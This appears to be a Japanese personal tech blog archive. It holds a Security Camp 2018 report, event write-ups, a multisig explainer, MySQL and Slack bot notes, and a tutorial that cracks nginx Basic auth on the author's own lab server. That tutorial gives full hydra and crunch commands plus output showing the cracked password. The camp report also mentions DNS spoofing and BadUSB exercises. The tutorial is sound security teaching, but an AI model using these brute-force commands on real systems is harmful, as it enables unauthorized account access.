セキュリティ・キャンプ2018全国大会 参加WriteUp

セキュリティ・キャンプ全国大会2018 開催!

f:id:ayataka00:20180820193148j:plain

夏休みです!そうです、夏になるとあいつがやってきます!
セキュリティキャンプ全国大会 がやってきます!

いやぁ、去年落選してから長かった... 今年はなんとか選考通過し参加して晴れてキャンパーになることができました (´・∀・)ノ

セキュリティキャンプDay0

episode0的なね... 僕は今回沖縄からだったので前泊対象者でした! なのでDay0の記録的短時間豪雨の時間帯に「死ぬんじゃねこれ?」とこぼしながら雷を避けて会場となるクロスウェーブ府中に参戦しました!!!

f:id:ayataka00:20180820193157j:plain

なんとか切り抜けた直後の一枚。 心なしか...歓迎されているような...いや、されてねぇわ、ただただ怖かったわw

セキュリティキャンプMYプログラム

開発と運用トラック(Bトラック)

  • day1(全トラック共通)

    • セキュリティ基礎
    • 特別講演(1)「 自由なエンジニアとは何か ~OSCを全国各地で150回以上やって分かったこと~ 」
    • 特別講演(2)「ハッカーは法律を破るのか」
    • グループワーク
  • day2

  • day3

    • IN-DEPTH STATIC MALWARE ANALYSIS
    • 解析を妨害しよう ~自作パッカー入門~
    • グループワーク
  • day4

    • 組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~
    • シリアル通信から学ぶBadUSB自作演習
    • グループワーク
  • day5

    • グループワーク

僕のキャンプ日程はこんな感じです! 選択は「開発と運用トラック」でしたがday3,day4は自由選択なので一貫性のない選択になっていますが非常に楽しい講義しかなかった!

About Me

本名等は伏せますが、2018年現在で22歳。 期限ギリギリでしたがなんとか参加することができました! 沖縄の琉球大学というところからの参加で、沖縄からの参加メンバーは僕だけだったのでキャンパーの中では「沖縄の人」という名称で通っていると思います!

まずは見てくれスポンサー企業!!

www.security-camp.or.jp

すごいだろ...これ、全部スポンサーなんだぜ...

もちろん大企業さんも名を連ねますが、今をときめく企業さんも非常に多いですね!さらにセキュキャンの会場(以後、聖域)にはこの企業のエンジニアの方々(以後、神々)が沢山、入域していてまぶしすぎて直視できなかった...

なぜこういう話をするかというと次を見てくれ!!

ノベルティ

f:id:ayataka00:20180820193119j:plain

ノベルティー!!

ノベルティーーー!!!

この量とクオリティ!やばくないですか? 人生初です、この量とクオリティ!!

これがキャンプ受講者全員分用意されてるこのキャンプのこの資金力!!えぐい!

資金力は大事!!

スポンサー企業の皆さま、大好きです!!ありがとうございます!

さらに

毎年、恒例のセキュキャンTシャツは今年はピンクという可愛らしいやつでした!

だが今年は一味ちがう!パーカーだぁぁぁ!!

このパーカーめっちゃかっこよくないですか? これ学校や会社で羽織ってたらドヤれるやつですよね!!

さらにさらに!

なんと!!day4の最後に突然の発表!! 講師やスポンサーの方々からノベルティとは別にプレゼントがあるとのことで聖域のボルテージは最高潮に!!

主に、講師の方々の著書やBlackHat帰りの講師の方々からの品々で数に限りがあるとのことで聖域で無慈悲なじゃんけんが始まりました! グループの代表がまさかまさかの2位!そこで僕は欲しかったBlackHatのリュックとサーバレスアーキテクチャの本をGetしました!!

f:id:ayataka00:20180820193216j:plain

が!!ここからが大変でした...

そのリュックは2個しかなく超絶Sレア級の代物...

会場に戻ってきた瞬間からヘイトが始まり、「交換しないか?お前の命とそのリュック」みたいな感じで脅迫されますww

いいですか?何かを得るには何かを捨てなければなりません。等価交換の法則ですねw

レアものを手にしたからには、そこは鋼の心を持ち、人情を捨ててすぐに自室に戻り大切に保管しなさい!w

(*みんないいやつですよw)

講義たち

特に僕の心に残った講義たちを紹介します!(というのも全ての講義すごいおもしろかったのだが全て書いていると時間がない...) ちなみに、秘匿性が高い情報や外にだすと危ない情報も多いので敢えて詳細を全部は述べません!僕の感想を基本ベースにやっていきます!

Day2 : Vulsとエクスプロイト演習で学ぶ、既知の脆弱性管理の重要性と効率的な対策方法

Vulsというシステムの脆弱性を検知して教えてくれるOSSのコミッターである神戸さんと福田さんによる講義で、実際に脆弱性をついた攻撃、Exploit攻撃をしました!初心者にとってはExploitが一番難しい攻撃の方法だと思っている節があるので、その攻撃の方法、手順、防御の仕方を学べたのは興奮しました!攻撃ができてしまうのはまずい、だから脆弱性を見つけることが大事だ!

うん、確かに...。

だけど様々なOSSや言語、プログラムでできているシステムの中から脆弱性を見つけ出すのは一筋縄ではいかないぞ...

あっ!!超絶便利で使いやすいOSS脆弱性ScanツールのVulsがあるぞ!!!!

って僕はなりました!!

またこの講義で講師の福田さんがセキュキャンでも1,2番に大事なことを教えてくださりました!!

福田さん >> セキュリティエンジニアは様々な脅威と戦う反面、様々な脅威が襲いかかってくることもあります。さて、そこでセキュリティエンジニアに一番必要なものとはなんでしょうか?

僕 >> 腕力ですかね?

福田さん >> そう!筋肉です!!

Day3 : IN-DEPTH STATIC MALWARE ANALYSIS

その名の通り、マルウェア静的解析のさらなる深みへGo!!! 深すぎて僕が一番、事前課題に頭を悩ませた講義でもあります!解析するツールがWindowsで動くんですが如何せん、僕はMacユーザだったので苦戦しました!

めちゃめちゃ深いです。が受講すると講師の中津留さんの説明がおもしろいのとわかりやすいので最初はあんなに難しくて意味がわからなかった解析画面がだんだん読めてくるようになりマルウェアの挙動が分かり始めてくるのが非常に刺激的でした!

今後はPEファイルだけでなくELFファイルも解析できるようになりたいなぁ〜!

Day4 : 組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~

今回、僕が事前学習&事前課題に割と時間をさいた講義でもあります! ネットワーク攻防戦と実際のロボットを使ったロボコンを同時に行い、うまく操作してフィールド内にあるアイテムを獲得した個数でランキングして勝敗を決めるという講義でした。 座学としては既存の汎用OSと車、制御ロボットやIoT等で使われるリアルタイムOSの違いや利点、アーキテクチャなどを教えてもらいました。リアルタイムOSアーキテクチャはなんかおもしろいですね!!!

Hands OnとしてはWeb上のコンパネから操作できるロボットを操作してロボコンを開始しましたが、全チームのロボットが同じLAN内にいるので攻撃が可能です!

そう、この競技の最大のおもしろみとは攻撃ガンガンいこうぜ状態なのです!!

僕としては割と事前学習でも攻撃のバリエーション用意したりデモしたりしていたのですが、如何せん実際の環境になるとむずかしいです。そもそもLANに大量のトラフィックを流せば全員が重くなるので攻撃もクソもないんですよねー!そこが悩みどころでした!ですが、1回戦でDNSスプーフィングをしかけて割と他のチームは動いていなかったのに自分のチームが動いていたのでシャアの再来かと思いました!!!

そして、2回戦は「あれ?動かん、こいつ動かんぞ!!!」って言っている間にデバッグしていたらまさかの電池切れでタイムロスしててポイント0という嘘だろエンドでした!

Day4 : シリアル通信から学ぶBadUSB自作演習

選択講義最終日の最終講義がこのBadUSBの作成になります!このUSBの作成は簡単に悪用できるので詳細は特に伏せます。この講義はBadUSBやUSBKillerに興味を持った約1年前から受けたかった念願の講義でした!

僕はMacユーザなのでWindowsPowershellの使い方がわからないのと機材エラーでUSBを刺した瞬間にCurlでGETを投げまくる動作をさせました!事後学習が簡単にできそうなので今後もちょくちょく触っていきます!

グループワーク

さて、なんと言っても技術的な講義以外にも多く配置されているこのグループワークですが、これがなんといってもすごい!!

講師の川口さんはもう何年このグループワークをやってるんだ!?ってくらい回し方が上手くて笑いの絶えないグループワークになりました! では、この時間に一体何をするのかというと 講師の方々やスポンサー企業の方々、チューターの方々に「自分自身の未来について」なんでも質問しようぜの時間 です!

テーマが「キャンプ終了後の自分自身の未来について」という事なのでまぁ、必然的にキャリアの話になりますよね!それでもキャリアに関する疑問・話をぶるけるには豪華すぎる講師陣です...

とりあえず滅多に会えることのない方々なので手当たり次第に色々質問しました!キャンプ初日からキャンプ最終日までに本当にたくさんの方々と話して何度もマインドチェンジが自分の中で起こりました!キャリアや自分が今後やること、やりたいことについて色々考え質問しフィードバックをもらい、また考えまた質問するの繰り返しでどんどんブラッシュアップしていきました!非常に重要で最高な時間でした!!

キャンプ地

クロスウェーブ府中

こんな感じだ!!

f:id:ayataka00:20180820193229j:plainf:id:ayataka00:20180820193219j:plain

これからの参加者に言えること

僕は今回キャンプ期間中にインタビューを受けて次のキャンプ参加希望者へのメッセージ的なやつもお話ししましたのでそこと被る部分もあると思いますが、できるだけ差別化して少し伝えようかなと思います。

とりあえず挑戦だ!!!

とりあえず挑戦だ!!! なんですが、適当ではダメですね! 応募課題もちゃんと悩んでちゃんと時間をかけて取り組んだ方がいいです。何故かと言うと、選考側の講師の方々も技術的なことももちろん見ますが、それと同じくらいキャンプにかける意気込みや情熱も見ています!その情熱がちゃんと伝わるように文章を書く力もすごい大事な要素になります!もう選択課題、共通課題も全て回答するくらいの意気込みで書くと審査する講師側にも熱意が伝わりやすいんじゃないかなと思います! 大事なこととしては

  • 丁寧に
  • 時間をかけて

という当たり前のことになりますが大事なことですね というか時間をかけて丁寧にやって理解を深めた方がキャンプで得るものも多いと思いますよ! ただ、応募課題というハードルがあるので少し気後れしてしまう気持ちもわかりますがそこを勇気をだして乗り越えるとあとは走るだけです!がんばってください!

参加後の意気込み

セキュリティキャンプには参加制限があります。22際までの参加で受講生としては1度しか参加することができません。なので、その参加をより良いものにするために少心に止めておいて方がいいと思うことをいくつかピックアップしたいと思います!!

1. 睡眠大事!!

キャンプ期間中は朝の8時くらいから大体22時あたりまで活動します!そこから自室に戻り就寝準備をするわけですが、すぐに就寝準備に入れるわけではありません! その日に新しく得た情報を詳しく調べたり、講義中にできなかったところを自分でやったり更に調べたり、翌日の講義の準備や下調べをしたりしているとあっと言うに日付が変わります... それでもある程度のところで切り上げて寝ましょう! 僕は大体24-25時の間で寝て07:30くらいに起きるという生活をしていました、それでも時たま講義中は眠くなることがあるのでコーヒーは必須です! 講義中に眠くなり集中できなくなると非常に勿体無いので睡眠はしっかりとりましょう!

2. とりあえず質問する!!

講義中は講師の方々は全員が質問を求めています! 講義に集中していたら小さな疑問も出てくると思いますが、超絶すごい講師の方々に質問するのは少しビビってしまいすよね?! ですが、そこは絶対に質問してください!

講師の方々も質問を待っていますし、全ての質問に快く丁寧に答えてくれるはずです! 質問することで自身の理解も深まり、もしかすると講師の方々に覚えてもらういいチャンスかもしれません!小さなことでもいいのでとりあえず1単位時間に1質問くらいの意気込みでいきましょう!

グループワークでは特に積極的に動く!!

先ほど、1時間単位に1質問と言いましたがグループワークではもっと積極的に動きましょう!

前述しましたが、スポンサーの方々、自分が受講する講義以外の講師の方々は神レベルのすごい方達なのでガンガン質問していきましょう!!

「御社に入るにはどうしたら いいですか?!」といった風な単刀直入にぶっこんだ質問でも笑いながら聞いてくれると思いますよ!

  • 「現在はどういったお仕事をしているんですか?」
  • 「学生時代は何をしていましたか?」
  • 「どういったOSSが今はアツいですか?」
  • 「今の時点でやっておいた方がいいことはなんだと思いますか?」
  • 「どのようにして情報をアウトプットしていますか?」

等を質問するとすごいいい返答がかえってきます!

本当にグループワークや自由時間など質問する時間はガンガン動きましょう!

最後に

今回のセキュリティキャンプ全国大会2018を開催するために尽力してくださった講師、運営、OB、スポンサー企業の方々。

本当にありがとうございました!最高に楽しかったです!また、いい経験を積むこともでき色々な方と知り合うこともできました。それもこれも全て「キャンプが最高のものになるように」と尽力してくださった全ての方々のおかげです。改めて、またお礼を言わせてください。

ありがとうございました!

次は僕もその尽力する側に回りたいと思います(実力が伴えば...)

その際はまたよろしくお願いします。

hydraでBasic認証をパスワードクラック!

Basic認証をクラックしよう


以前、sshでhydra使ってpasswordクラックしたんだけどパフォーマンス悪いし見えにくいしでhttpのBasic認証でcrackした方が見やすいし、簡単でいいな、ということで以前組んでいたBasic認証を再利用してhydraでattackする。ちょうど脆弱性デモをしたかったし好都合。


デモ環境



使ったtool

  1. hydra
  2. crunch
  3. Basic認証
  4. nginx

なお全てインストール済みということを前提としている


NginxにBasic認証導入編


basic認証をかけるパス配下 sampleディレクトリ配下にかける

/var/www/html/sample


.htaccessファイルの場所


そもそもnginxには.htaccessファイルはない、それに該当するファイルとして

/etc/nginx/sites-available/default

というdefaultファイルに設定を付け加える

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        location /sample {
            auth_basic            "Basic Auth";
            auth_basic_user_file  "/etc/nginx/.htpasswd";
        }


.htpasswdファイルの場所


/etc/hginx/.htpasswd
ユーザ:{SHA}S78***************

.htpasswdにはユーザ:暗号化されたpasswdという形式で記述 暗号化にはこういう便利なサービスを利用するといい

パスワード暗号化ツール

後はsystemctl restart nginxとかガチャガチャする そしてhttp://IPADDR/sampleにアクセスするとBasic認証が起動する


参考URL

Nginx : Basic認証の設定 ApacheでBasic認証設定


パスワードファイル編


hydraでcrackする際は基本的にBruteforce attack( 総当たり攻撃 )という手法でcrackするがその際に使用する辞書と呼ばれるパスワードファイルを用いて総攻撃をするので、使う辞書によっては総当たり攻撃とも言えないのでは?と思ったけどそこは重要じゃないので流す! とりあえず、パスワードファイル、辞書ファイルがないと何も始まらないよ!ってことで今回は有名な辞書ファイルを使う! 最新のよく使われるパスワードファイルなんかで回すとどうなるんだろうw


使用感度のいいPassword list


Open Wall

よく使われるパスワードをリスト化したファイルを置いてある。 ここにあるlower.gzとpassword.gzをダウンロードして使用 lowerが3kと軽く、ワード数は1000未満 passwordが13kと程よく、ワード数は3600程度 今回はどちらも使用した!


自分で作成するpassword list


crunchというコマンドで自分でパスワードファイルを作成することも可能で、その場合だと本当の意味での総当たりができると思う。

$ crunch
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

によるとどうやらこう使うらしい

$ crunch 3 3 ab 
Crunch will now generate the following amount of data: 32 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 8 
aaa
aab
aba
abb
baa
bab
bba
bbb

このように

$ crunch 最小文字列数 最大文字列数 文字列に含む文字 >> failname.txt

というように使う。そうすると結果として出力されるのであとはファイルに書き出してやればいい。


今回は実験として重複ありの全ローマ字で8文字列と6文字列のパスワードファイルを作成してみた


6文字列

$ time crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 2236055952 bytes
2132 MB
2 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 321272406 
crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list  67.02s user 3.25s system 95% cpu 1:13.45 total

01m:13sかかり、321272406wordsなのでそりゃ2Gも使う


$ time crunch 1 8 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 1945934118544 bytes
1855787 MB
1812 GB
1 TB
0 PB

無理。1Tとか... そんなリソース無駄使いできないしCPUがえぐかったので強制終了。


なのでおそらく、その場でa~zまでのランダムな文字列のパスワードファイルを作成しようとすると6文字くらいが限界。12桁のパスワードファイル等をcrackする際のパスワードファイルを作成する場合はCPUパワーがあるマシンで数日回す必要があると思う。


URL


10_million_password_list_top_100000 最新のパスワードファイル

他にも「 password list 」なんかで検索するとたくさん出てくる


hydra password crack編


ここまでBasic認証とパスワードファイルを用意した。ついに本題である、hydraによるBasic認証のPassword Crackに入れる!


hydraの使い方をおさらい


基本的に

hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル

だが、今回はBasic認証ということで少しフォーマットが変わる

time hydra -l ユーザ -P パスワードファイルのパス IPADDR http-get /Basic認証がかかっているIPADDR配下のファイル

というフォーマットで後はコマンド叩くだけ


そして今回はIPADDR/sampleにかけられているBasic認証にcrackするので上にユーザも判明している場合を想定しているので、結果として、

MYUSER:[~]$ time hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-22 16:13:07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3557 login tries (l:1/p:3557), ~223 tries per task
[DATA] attacking http-get://10.0.0.***:80//sample
[80][http-get] host: 10.0.0.****   login: USER   password: dolphin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-22 16:13:10
hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample  0.02s user 0.09s system 3% cpu 3.042 total

見やすく抽出すると

[80][http-get] host: 10.0.0.****   login: USER   password: dolphin


login: USER password: dolphin

ってバッチリとれてる!実にかかった時間なんと3s! dolphinというパスワードががっつり判明してる... このdolphinというパスワード、2018年の正月辺りにセキュリティ界隈ではバズったワードですねw
他にもpassword: 123456で回して見たけど0.7sというそりぁあね!という結果が得られたりしたよw


総括


まぁ、こんな感じで文字列だけとかいう脆弱なパスワードだと抜かれますよってこと。また、今回はユーザが判明している状況を想定したわけだけどユーザ名もユーザファイルみたいなよく使われるユーザ名をリスト化したファイルがあるからそれも併用してhydraを使えば回せるというわけ! 基本的にはBasic認証なんかもう今は使われてないと思うけど、もし使用していてパスワードを抜かれてしまった際はクラッカーはパスワードの使い回しを想定して暗躍しているので他のサービス等でそのパスワードを使用するという目的もちゃんと理解しておくべきなのかもね。 結局何が言いたいかというと、 脆弱なパスワードはあかん!!!! ということだよね(-A-)


URL


辞書攻撃に使う元ネタの辞書ファイル

Kail Linuxのhydraでブルートフォースを試す

クラックツールHydraでベーシック認証を突破してみる

ハッカーズチャンプルー2018 参戦!!!!!!

ハッカーズチャンプルー2018開幕ッッッッ!!

いつぶりの更新だろう...w

2018/06/30、梅雨明けしたにもかかわらず台風が接近しているということもあり生憎の雨の6月最終日...

ですがこの暑い沖縄にもエンジニアの熱気は負けてません!

始まる前からこの熱気です! f:id:ayataka00:20180702010315j:plain

さぁここから始まります、ハッカーズチャンプルー2018開幕です!!!!!

所感としては、こういうイベント系にしては割と多くの僕の学校の友人や後輩が参加していたなぁという感じです。特に1年生の子達が多く、将来有望です! こういうイベントではやはり多くの学校OBの先輩方が集まるので色々話をするのが非常に楽しみなことでもあります!

今回のWriteUP

今回はハッカーズチャンプルー2018については参加者の目線で感じたこと・思ったことをWriteUPしたいと思います!

なぜなら、ハッカチャンで発表された話題は他の人が既に書いていそうなのでそこを見た方が絶対にいいからです!!!w

hackers-champloo.org

当日のプログラムはこちら

hackers-champloo.org

すばらしいところ!

一番素晴らしいのはやはりハッカチャンでのカンファレンスです! がしかし、それは#hcmplで検索して出てきたブログを読んだ方がいいと思うので今回は別のいいところを紹介します!

午前にカンファレンスが終了するとお弁当の時間ですが、神々が御降臨されました...

今回の神々(スポンサー様方)

hackers-champloo.org

今回のハッカーズチャンプルー2018は、な、なんと神々のお慈悲により昼食・ドリンク・おやつ(お茶)が無料!!!

f:id:ayataka00:20180702010258j:plainf:id:ayataka00:20180702010341j:plain

この弁当とドリンクが全員分用意されていました!

神々よ、誠にありがとうございました!美味しくいただきました!

来年も無料だと学生はさらに参加しやすくなるんじゃないでしょうか!?

また、食事時間には神々の紹介がされていました! f:id:ayataka00:20180702010331j:plain

さらに各スポンサーのブースにはステッカー等が用意されていて皆が群れていましたw

f:id:ayataka00:20180702010421j:plain

esaのトリかわいいw

午後の部(カンファレンス)

VTuberのお話がおもしろかったw ハッカーズチャンプルー2018の後、VTuberであるキズナアイを見てみましたが色々着目する部分を教えてもらったので見ていて楽しかったです!

その他もGoユーザとしてタメになるお話や様々なお話を聞きました!

恒例行事

さて、午後の部(カンファレンス)が終了しクロージングが始まるとどこからともなく、クロージング芸人が召喚されます...w

f:id:ayataka00:20180702010324j:plain

超有名なクロージング芸人こと、@asumaslvさんが出現し恒例行事であるエクアドル産ハット・クロージングが繰り出されます...!!! 毎回、楽しく見させてもらっています!w

クロージングが終わると全員で集合写真です! f:id:ayataka00:20180702010431j:plain

この後、会場を締めてハッカーズチャンプルー2018本戦である懇親会に繰り出すわけですがその話はまた後ほど...

来年にむけて

来年のハッカーズチャンプルー2019の実行も今回のハッカーズチャンプルー2018の実行も全てスタッフ・ボランティアの努力のおかげです。本当にありがとうございました(>A<) 来年は僕も主催側に回ってお助けしたいと思います。

最後に

今回のハッカーズチャンプルー2018で学んだ大事なことは以下の2つです!

  • 口笛は無慈悲ッ!!!
  • スポンサーは神!!!

ということです。w

BTC・暗号通貨のマルチシグとは? CoincheckがNEMを流失してしまった原因なの??



Coincheck NEM 約690億円相当を流失


2018/01/26 モンスターハンターワールド発売日ですね!無意識にDLしてしまったので1日の4/5の時間を狩人として過ごしていたら、驚きのニュースが...


Coincheck 580億円相当のNEMを流失


どうやら内部のシステムのセキュリティが万全ではなかった様子... 歴史に残る重大インシデントですね(-_-) 現時点で発表されている情報は少ない上に信憑性も確かではないので敢えて色々言いませんが、起きてしまった事象だけは備忘録として記録しておこうかな、と思ったわけです(>A<) まぁ、僕は今回のインシデントで不利益は被っていないのでCoincheckがどのようなセキュリティを行なっていたか冷静に調べられたわけですが...


マルチシグ ( Multisig ) 未対応だった!!


今回の流失を招いた原因として挙げられているのがNEMNEM公式が推奨している(らしい?)マルチシグと呼ばれる署名方法を採用していなかったことが挙げられている。 まぁ、コールドウォレットならマルチシグは当然でしょ...(-∆-)と思っていた皆さんはいろいろ物申したいことが多いはず... でもその前に自分がちゃんとマルチシグという方法をきちんと理解していないな、と感じたので備忘録へ!!


マルチシグとは? 


簡単に言うと、鍵を複数人で持つことによってセキュリティを高めるというやり方。例えば、鍵が5つある金庫に3つの鍵がささらないと中のお金を取り出す事ができない!というイメージでいいと思ってる!その中の1つの鍵が盗まれたとしても、残り二つの鍵を刺さない限りはその金庫が開くことはないので中のお金が盗られることはないという風にセキュリティを高める事ができる。 BTCなどでもう少し具体化して考えると、ある取引所のウォレットAからある取引所の自分のウォレットBに何かしらのコインを送金したい場合、自分のウォレットAの鍵だけでは送金はできない。そのAの取引所の運営側が持つ鍵とさらに別の鍵もささないと自分のウォレットAの扉は開くことはない、という感じ。なので、自分のウォレットAの鍵が万一、盗まれたとしてもハッカーは取引所がもつもう複数の鍵も盗んでウォレットAの扉を開かなければ、ハッカーのウォレットCには送金できない!というわけ!


もう少し詳しく!


正直、技術概要には興味がない("_")という方は上までで理解できたら十分だと思うので、あとは画面すワイプでもして戻ってください...


マルチシグは鍵を持つ全員の署名を必ずしも必要としません。上記の例の通り、5人鍵を持っていた場合でも3人の署名、つまり鍵がさされた場合は扉を開けますよ!ということでもいいということ。 基本的にマルチシグの最小構成は4つのアカウントが必要でそれぞれが鍵を秘密鍵を持っているということ。


それらのアカウントを仮にA,B,C,DとしてBがDのある商品をコインで購入する場合を考えてみましょう!(この場合の取引とは基本的にコインでコインを買うと言う事ですがわかりにくいので今回は商品とします) まずBとDが取引をするにあたって間に中間者であるCが仲介します。AとはマルチシグアドレスというアカウントでBCDが一つだけ作成する「金庫用のアカウント」で2つの鍵が同時にささっていないと扉は開かない施錠機能をもっています。一つの「金庫」として考えていいので以下からは「金庫A」とします。

金庫Aは作成された際は空っぽです。そこにBがコインを入れ金庫Aの鍵をしめます。今後、金庫Aは2つの鍵が同時にささっていないと開くことはありません。このコインを入れる際に金庫AのアドレスにBがコインを送金した、というログはブロックチェーン上に記録され誰でも見る事ができます。Dはブロックチェーンを確認してBからの送金を確認できた場合は金庫Aから自分のアドレスに送金するトランザクション、つまり金庫Aから自分への送金の手配をするため金庫Aに鍵をさしますが、それだけでは金庫Aは開きません。その後、Dは商品をBのもとに送ります。そしてBがDから送られてきた商品の銘柄や数量などの情報が正しいと判断すると、Dの鍵がささったままの金庫AにB自身が持つ鍵をさしてあげることで無事、Dがコインを手にして、取引は終了ということになります!


この取引の際に例えばDが商品を送らなかったとすると、Bは当然金庫Aの中にあるコインを返してもらわないといけません。ですが、鍵は同時に2つさしてないと扉は開かないので、この時は中間者であるCが鍵をさしてあげてBも自分の鍵をさし、無事にお金を取り戻すことができます。

そもそもBが金庫Aに送金しないとDは商品を送らないのでBが悪さをすることもできないです。だがしかし、このやり方をもってしても悪いことをできる存在がいますね。中間者Cです。Cは金庫Aを開けてコインを横取りできる唯一の存在ですよね。2011年のマウントゴックス事件の中間者であるマウントゴックスが悪さをしたとされています。なので中間者は悪さができないように誠実な中間者を複数置くといいでしょう。C,E,F,Gのように中間者4人とかだと悪さはしにくくなりますね!


こういったマルチシグな取引方法で取引している仮想通貨は多いのではないでしょうか?


Summary

さて、ここまで書いてきましたが、マルチシグそのものの技術は理解できたものの今回のCoincheckの流失事件の全容はまだ把握できていないままです。マルチシグを採用していなかったのが原因で盗まれたのか、マルチシグで防げたのか、そもそもマルチシグとか以前の問題だったのか、真相は未だ判明していません。真相がわかり次第、インシデントレポートを公開して欲しいですね!どのように盗まれたのかのアルゴリズムがはよ知りたい!知りたいけど私はこの辺でまた狩人に戻りますので今回はここまで。 今後、時間があればちゃんとイラストなんかで説明したいな...


GOOD PAGE


マルチシグとは?セキュリティが超向上する裏技!使い方・メリットを教えます!

Multisig(マルチシグ)って何?

NEM(ネム)マルチシグ設定方法と落とし穴|xemを安全に保管する

Mysqlにリモートから外部アクセスした件

環境

・Cent OS 7 ・Mysql Ver 14.14 Distrib 5.7.20

外部アクセス

Mysqlにリモートからアクセスする必要があって、設定してくとたくさんエラーでてきたわーいww

エラー

まずリモートからアクセスするために/etc/my.cnfにbind-address=remote-IPしてやればいいんだろ?とmy.cnfにIPを追加

my.cnfをさわる


# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/5.7/en/server-configuration-defaults.html

[mysqld]
#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0

log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

bind-address = IP

再起動!


$ sudo systemctl status mysqld
● mysqld.service - MySQL Server
Loaded: loaded (/usr/lib/systemd/system/mysqld.service; enabled; vendor preset: disabled)
Active: deactivating (final-sigterm) (Result: exit-code) since 木 2017-11-09 12:41:13 JST; 1min 57s ago
Docs: man:mysqld(8)
http://dev.mysql.com/doc/refman/en/using-systemd.html
Process: 19349 ExecStart=/usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid $MYSQLD_OPTS (code=exited, status=1/FAILURE)
Process: 19332 ExecStartPre=/usr/bin/mysqld_pre_systemd (code=exited, status=0/SUCCESS)
Main PID: 16770 (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
└─19353 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid

久しぶり!またあったね!FaOk!!

原因がわかんない

/var/log/mysql見てもエラーは出てるんだけどおそらくそう言うエラーじゃないだろうと判断 my.cnfからbindの行をコメントしたらsystemctlで普通に起動するんだよ んで、調べて行くとmysqlの設定じゃねえのか?となる ということでさっきのbindの行は削除

mysql側の設定

とりあえずrootでログイン そして外部からアクセスする用のユーザを作成して権限を与える


mysql> grant all privileges on DBNAME.* to avalon@"10.0.0.0" identified by '*******' with grant option;
Query OK, 0 rows affected, 1 warning (0.00 sec)

権限の与え方とかはgrant文で

そして確認してみる


mysql> select user,host from mysql.user;
+---------------+-----------+
| user | host |
+---------------+-----------+
| avalon | 10.0.0.0 |
| avalon | localhost |
| mysql.session | localhost |
| mysql.sys | localhost |
| root | localhost |
+---------------+-----------+

おるやん そして一度mysqldを再起動してアクセスを試みる


ERROR 2003 (HY000): Can't connect to MySQL server on '10.0.2.0' (113)

バーローがぁぁぁ!!

最終的な解決

なんでだチキショー!! って思っていたら ん?待てよ...俺firewall設定したか?初歩の初歩だぞ...


$ firewall-cmd --list-all

なかった...サービスのとこにmysqlが...バカだ俺は...


$ firewall-cmd --add-service=mysql --zone=public --premanent
$ firewall-cmd --reload

アクセスを試みる

いけた!! firewallの設定で詰まるとか...ナンセンスかよ

Mysqlへ外部アクセスする際の手順

  1. mysql側で外部アクセス用のユーザを作成して権限を付与する
  2. firewallの設定をする
  3. 3306のポートが開いていて、プロセスがいるか確かめる

たった3ステップ!!!!それに詰まった俺...

yodan

更新がものすごく遅くなってたんだけど、それにはちゃんと理由がある!
最近、Markdown式のメモサーバを自宅に立てて備忘録は基本そっちでやってた!   だって、htmlで書くよりMarkdownの方が早いじゃんね( =A= )
だけど、はてなMarkdownできるんかい!!ってことでこれからどんどん移植すると思う!

coincheck APIとslack APIを使ってBTCに暴落・暴騰をslackでお知らせBotを作ったった

チャート見てない時のBTC変動が知りたい!!!

最近、BTCに手を出し始めて色々とウハウハしてるのだが、運転している間や授業を受けている間もBTC価格の変 動が知りたい! と言うことでcoincheckさんが提供しているAPIとslack APIを利用して、BTCが高騰or暴落したらslackにメッセージを投げてくれるようなプログラムを作ってみた!

今回の概要

3分毎にBTCレートを取得して3分前より3000BTC以上の変動があった場合はslackに通知メッセージを投げる

API

coincheck 取引所 API 概要

まぁ、本当は自動取引するスクリプト書けや、って話なんだけどそれはそれで怖いのであくまでも知らせるだけ !今回は上記URLのcoincheckのpublic APIのティッカーを使用しました!

使用した環境

手順

  1. slack APIのtokenを取得
    • slackで確認
  2. python3でスクリプトを書く
  3. 別サーバ上のcronで動かす

slack Web APIを使用するためtokenを取得

Slack APIを使用してメッセージを送信する Slack APIのTokenの取得・ 場所

上記の2つの記事に大変お世話になった!APIビギナーの私を助けてくれてありがとう!

上記の記事に従ってAPI tokenを取得したらコピペで保存しておくこと!


curl -XPOST -d token=取得したtoken -d channel=#random -d text=THIS_IS_TEST -d username=host https://slack.com/api/chat.postMessage

これでslackに通知ができていたら成功

coincheck APIのticker


curl GET https://coincheck.com/api/ticker

